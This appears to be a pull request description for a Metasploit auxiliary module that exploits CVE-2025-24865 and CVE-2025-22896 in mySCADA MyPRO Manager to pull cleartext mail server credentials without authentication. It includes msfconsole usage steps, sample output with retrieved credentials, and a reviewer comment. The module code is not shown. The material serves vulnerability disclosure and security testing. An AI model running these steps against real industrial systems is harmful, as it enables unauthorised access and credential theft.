mySCADA MyPRO Manager Credential Harvester (CVE-2025-24865 & CVE-2025-22896) Module

[h4x-x0r]

This module exploits two vulnerabilities (CVE-2025-24865 & CVE-2025-22896) in mySCADA MyPRO Manager <= v1.3 to retrieve the configured credentials for the mail server.

The administrative web interface has certain features where credentials are required to be accessed, but the implementation is flawed, allowing to bypass the requirement. Other important administrative features do not require credentials at all, allowing an unauthenticated remote attacker to perform privileged actions. These issues are tracked through CVE-2025-24865.
Another vulnerability, tracked through CVE-2025-22896, is related to the cleartext storage of various credentials by the application.

One way how these issues can be exploited is to allow an unauthenticated remote attacker to retrieve the cleartext credentials of the mail server that is configured by the product, which this module does.

Verification Steps

1. Download the installer from the vendor and deploy it.
2. Start msfconsole
3. msf6 > use auxiliary/admin/scada/mypro_mgr_creds
4. msf6 auxiliary(admin/scada/mypro_mgr_creds) > set RHOSTS <IP>
5. msf6 auxiliary(admin/scada/mypro_mgr_creds) > run

Example output:

[*] Running module against 192.168.1.78

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Mail server credentials retrieved:
[+] Host: smtp.example.com
[+] Port: 993
[+] Auth Type: login
[+] User: user
[+] Password: SuperS3cr3t!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/scada/mypro_mgr_creds) > creds
Credentials
===========

host          origin        service           public  private       realm  private_type  JtR Format  cracked_password
----          ------        -------           ------  -------       -----  ------------  ----------  ----------------
192.168.1.78  192.168.1.78  34022/tcp (http)  user    SuperS3cr3t!         Password

Successfully tested on

• mySCADA MyPRO Manager 1.3 on Windows 11 (22H2)

[msutovsky-r7]

Hi @h4x-x0r, I left a few comments about the code. I have trouble finding the vulnerable version, can you share where did you get it please?